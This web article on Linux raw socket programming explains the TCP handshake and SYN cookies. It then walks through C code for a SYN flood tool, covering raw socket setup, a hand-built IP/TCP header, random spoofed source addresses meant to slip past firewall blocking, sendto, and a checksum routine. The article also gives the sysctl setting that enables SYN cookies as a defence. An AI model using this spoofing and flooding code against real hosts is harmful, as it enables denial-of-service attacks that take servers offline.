Welcome!

Linux Authors: Reuven Cohen, Michael Sheehan, Lavenya Dilip, Ian Thain, Bruce Armstrong

Related Topics: Linux

Linux: Article

Linux Raw Socket Programming - What Lies Beneath a Socket?

Linux Raw Socket Programming - What Lies Beneath a Socket?

When I was casually examining my server log few months back, I noticed something was going off beam. To my horror, the primary server crashed, unable to take the load. Usually, I don't get that much traffic. Months later, I realized that I was the victim of a DDOS attack. Being a hacker type myself, I tried to investigate where I failed in my system administration. And I started learning Raw Socket programming, in an effort to understand how powerful it is under Linux. To my surprise, I realized any lamer can build up Raw Socket applications and can effectively misuse this wonderful trait . I'd like to share some of the interesting Raw Socket exploits. Don't ever try this!

All along I was wondering if I could spoof my IP address and perform a SYN Flood attack on a server using C with my Linux box (2.4.1), as I found out that the hackers spoofed their source IP and flooded the server with infinite connection requests. Soon I realized that it is not only possible but also easy to do.

Using Raw Sockets
When you create a socket and bind it to a process/port, you don't care about IP or TCP header fields as long as you are able to communicate with the server. The kernel or the underlying operating system builds the packet including the checksum for your data. Thus, network programming was so easy with the traditional cooked sockets. But it's a good programming practice to create your own TCP/IP header including the checksum and bypass the kernel for many reasons, including better control over your socket and an interesting exploration of what lies beneath a socket. Welcome to the realm of Raw Sockets. Raw Sockets let you fabricate the header fields including information like source IP address. And naturally, this has become a valuable tool for all the lamer kids (they call themselves hackers) in spreading havoc by spoofing IPs. As a programmer, you are entitled to explore this wonderful feature, which lets you define your own networking protocol for specific needs.

In the rest of the article, I will explain Raw Socket creation and ways of exploiting it to create a SYN Flooding machine and a connection termination tool.

IP Spoofing and SYN Flood
Before starting with our connection flooder code, we need to understand the TCP connection process, often termed as a "three-way handshake." The client who needs to initialize a connection sends out a SYN segment (Synchronize) to the server along with the initial sequence number. No data is sent during this process, and the SYN segment contains only TCP Header and IP Header. When the server receives the SYN segment, it acknowledges the request with its own SYN segment, called SYN-ACK segment. When the client receives the SYN-ACK, it sends an ACK for the server's SYN. At this stage the connection is "Established."

The SYN Flooding technique involves spoofing the IP address and sending multiple SYN segments to a server. When the server gets a connection request, it sends a SYN-ACK to the spoofed IP address, which in all probable case doesn't exist. The connection is made to time-out until it gets the ACK segment (often called a half-open connection). Since the server connection queue resource is finite, flooding the server with continuous SYN segments can slow down the server or completely push it offline. We can also write a code, which sends a SYN packet with a randomly spoofed IP. This will result in all the entries in our spoofed IP list sending RST segments to the victim server, upon getting the SYN-ACK from the victim. (They never asked for a connection). This can choke the target server and often form a crucial part of a DDOS attack.

SYN Cookies
SYN Flooding leaves a finite number of half-open connections in the server while the server is waiting for a SYN-ACK acknowledgment. As long as the connection state is maintained, SYN Flooding can prove to be a disaster in a production network. Though SYN flooding capitalizes on the basic flaw in TCP, ways have been found to keep the target system from going down by not maintaining connection states to consume precious resources. Though increasing the connection queue and decreasing the connection time-out period will help to a certain extent, it won't be effective under a rapid DDOS attack. SYN Cookies, introduced recently and now part of most of the Linux kernels, help in completely protecting your system from a SYN Flood. In the SYN cookies implementation of TCP, when the server receives a SYN packet, it responds with a SYN-ACK packet with the ACK sequence number calculated from source address, source port, source sequence, destination address, destination port, and a secret seed. Then the server relinquishes the state about the connection. If an ACK comes from the client, the server can recalculate it to determine whether it is a response to the former SYN-ACK, which the server sent.

If you have the latest kernel and want to enable SYN Cookies, add

echo 1 > /proc/sys/net/ipv4/tcp_syncookies

to your /etc/rc.d/rc.local script. Edit /etc/sysctl.conf file and add the line:

net.ipv4.tcp_syncookies = 1

and restart your network. You are now protected against any SYN Flooding.

Building a Spoofed Packet
In Linux, if you want to create a raw socket, you need super user privilege, thus preventing other users from writing their own datagrams to the network. All socket-related structures and functions can be found in sys/socket.h and linux/socket.h. To create an IPV4 raw socket, use the socket function like this:

int sd;
sd=socket(AF_INET, SOCK_RAW, IPPROTO_TCP);

The protocol constant IPPROTO_TCP is defined in netinet/in.h and linux/in.h. The above code creates an Internet (AF_INET) raw socket with TCP protocol.

Spoofing source IP can be done by setting IP_HDRINCL (Include IP Header) in socket option.

int sm=1;
const int *val=&sm;
setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(sm));

If the result is a negative number, then the kernel does not allow IP spoofing, which is very rare. With my 2.4.1 kernel, it works. Check out the IP header, which we've built:

iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_tos = 0;
iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr);
iph->ip_id = htonl (54321);
iph->ip_off = 0;
iph->ip_ttl = 255;
iph->ip_p = 6;
iph->ip_sum = 0; iph->ip_dst.s_addr = sin.sin_addr.s_addr;
tcph->th_sport = htons (3456);
tcph->th_dport = htons (atoi(argv[2]));
tcph->th_seq = random ();
tcph->th_ack = 0;
tcph->th_x2 = 0;
tcph->th_off = 0;
tcph->th_flags = TH_SYN;
tcph->th_win = htonl (65535);
tcph->th_sum = 0;
tcph->th_urp = 0;
iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);

Note that we are specifying each and every value in the IP header, including header length, IP version, type of service, and checksum. We'll build a checksum algorithm for our packets later in this article. We have also set the SYN flag for this packet. You can also set ACK flag along with SYN as we have done in our connection terminator example.

Some firewalls, such as ZoneAlarm Pro, detect SYN Flood and block the source IP address (see Figure 1). So we need to assign our spoofed source IP address a random number as shown below:

b1=100+(int)(255.0*rand()/(RAND_MAX+100.0));
b2=100+(int)(255.0*rand()/(RAND_MAX+100.0));
b3=100+(int)(255.0*rand()/(RAND_MAX+100.0));
b4=100+(int)(255.0*rand()/(RAND_MAX+100.0)); if(b1>255)
sprintf(b1s,"%d",b1);
sprintf(b2s,"%d",b2);
sprintf(b3s,"%d",b3);
sprintf(b4s,"%d",b4);
strcat(b1s,".");
strcat(b2s,".");
strcat(b3s,".");
strcat(b1s,b2s);
strcat(b1s,b3s);
strcat(b1s,b4s);
iph->ip_src.s_addr = inet_addr (b1s);

We must be careful in building the spoofed IP in the correct form, as the kernel is configured to drop packets with malformed addresses. After fabricating our packet we can send the SYN request using the standard sendto() method as follows:

sendto (s,datagram,iph->ip_len,0,(struct sockaddr *) &sin,sizeof (sin));

Calculating Checksum
If you check out choke.c (available on site), we calculate the checksum for the packet we send using the following function:

unsigned short csum (unsigned short *buf, int nwords)
{
unsigned long sum;
for (sum = 0; nwords > 0; nwords--)
sum += *buf++;
sum = (sum >> 16) + (sum & 0xffff);
sum += (sum >> 16);
return ~sum;

While raw socket offers you more power than the traditional cooked socket, it forces you to calculate the checksum for every data packet you send into the network. The Internet header checksum provides a verification that the information used in processing Internet datagram has been transmitted correctly. If the header checksum fails, the Internet datagram is discarded at once by the entity, which detects the error. Calculating IP and TCP checksum is no big deal as RFC 791 puts in:

'The checksum field is the 16 bit one's complement of the one's complement sum of all 16 bit words in the header'.

If you can understand the above statement, stop reading this article. For lesser mortals like us, we shall analyze the process of building our checksum algorithm. We calculate checksum only for the header and not for the data, which we send. One very queer thing with IP checksum is that we need to include the value of checksum field in the header for calculating the value of checksum field in the header. Sounds crazy? Yes, it is Internet Protocol. So according to RFC 791, you can use the value 0 for checksum for calculating the final value of checksum. The steps involved in calculating the IP checksum is as follows:

  1. First the header is split into a series of 16 bit chunks.
  2. All these 16 bit chunks are added to get certain value.
  3. Subtract the obtained value from FFFF, which will give you the checksum value.

More Stories By Frank Jennings

Frank Jennings works in the Communication Designs Group of Pramati Technologies

Comments (2) View Comments

Share your thoughts on this story.

Add your comment
You must be signed in to add a comment. Sign-in | Register

In accordance with our Comment Policy, we encourage comments that are on topic, relevant and to-the-point. We will remove comments that include profanity, personal attacks, racial slurs, threats of violence, or other inappropriate material that violates our Terms and Conditions, and will block users who make repeated violations. We ask all readers to expect diversity of opinion and to treat one another with dignity and respect.


Most Recent Comments
falgun 02/08/05 03:47:41 AM EST

nice tutorial keep up the good work!

srinivas 12/10/04 02:39:33 AM EST

I am happy with this tutorial, this is one of the most valuable tutorials never found anywhere

keep it up